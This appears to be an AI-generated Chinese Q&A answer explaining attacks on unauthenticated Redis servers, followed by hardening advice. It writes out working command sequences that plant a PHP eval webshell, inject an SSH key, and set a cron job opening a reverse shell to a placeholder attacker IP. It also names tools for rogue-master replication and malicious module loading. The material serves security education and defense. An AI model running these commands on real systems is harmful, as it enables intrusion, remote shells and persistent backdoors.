redis未授权攻击方式有哪些
Redis未授权访问漏洞通常由于配置不当(如默认未设置密码且绑定在0.0.0.0)导致攻击者可直接连接Redis服务并执行命令。以下是主要的攻击方式:
1. 信息泄露与敏感操作
- 通过
INFO命令获取Redis版本、操作系统内核、数据目录等敏感信息。 - 使用
CONFIG GET *读取配置文件,可能暴露其他服务路径或安全设置。 - 通过
KEYS *枚举所有键,查看存储的数据内容。
2. 写入恶意文件
- Webshell写入:如果已知Web目录路径,可通过Redis写入Webshell。例如:
config set dir /var/www/html config set dbfilename shell.php set payload "<?php @eval($_POST['cmd']);?>" save - SSH密钥植入:在允许SSH登录且权限合适的情况下,将公钥写入目标服务器的
~/.ssh/authorized_keys文件:config set dir /root/.ssh config set dbfilename authorized_keys set payload "ssh-rsa AAAAB3NzaC..." save
3. 计划任务后门
- Linux环境下可通过写入计划任务实现持久化(新版本Redis可能默认禁止写入
/var/spool/cron/目录):config set dir /var/spool/cron config set dbfilename root set payload "* * * * * /bin/bash -i >& /dev/tcp/attacker_ip/port 0>&1" save
4. 主从复制利用
- 攻击者将自身伪装为Redis主节点(master),诱导目标Redis作为从节点(slave)同步恶意模块(如
.so扩展),从而加载恶意代码执行系统命令。常用工具:RedisModules-ExecuteCommand或redis-rogue-server。
5. 容器逃逸
- 在Docker环境中,若Redis以root权限运行且未配置网络隔离,可通过写入计划任务或SSH密钥逃逸到宿主机。
6. 模块加载攻击
- 利用
MODULE LOAD命令加载恶意编译的Redis模块(如exp.so),直接获取系统权限(需Redis 4.x以上且未禁用模块功能)。
修复建议
- 认证:配置
requirepass强密码,并定期更换。 - 网络隔离:绑定内网IP(
bind 127.0.0.1),避免暴露在公网。 - 权限控制:以非root用户运行Redis,并限制数据目录写入权限。
- 配置保护:禁用高危命令(
rename-command CONFIG ""、rename-command MODULE ""),启用保护模式(protected-mode yes)。 - 日志监控:审计Redis日志,及时发现未授权访问尝试。
所有内容均由人工智能模型生成,其生成内容的准确性和完整性无法保证,不代表我们的态度或观点。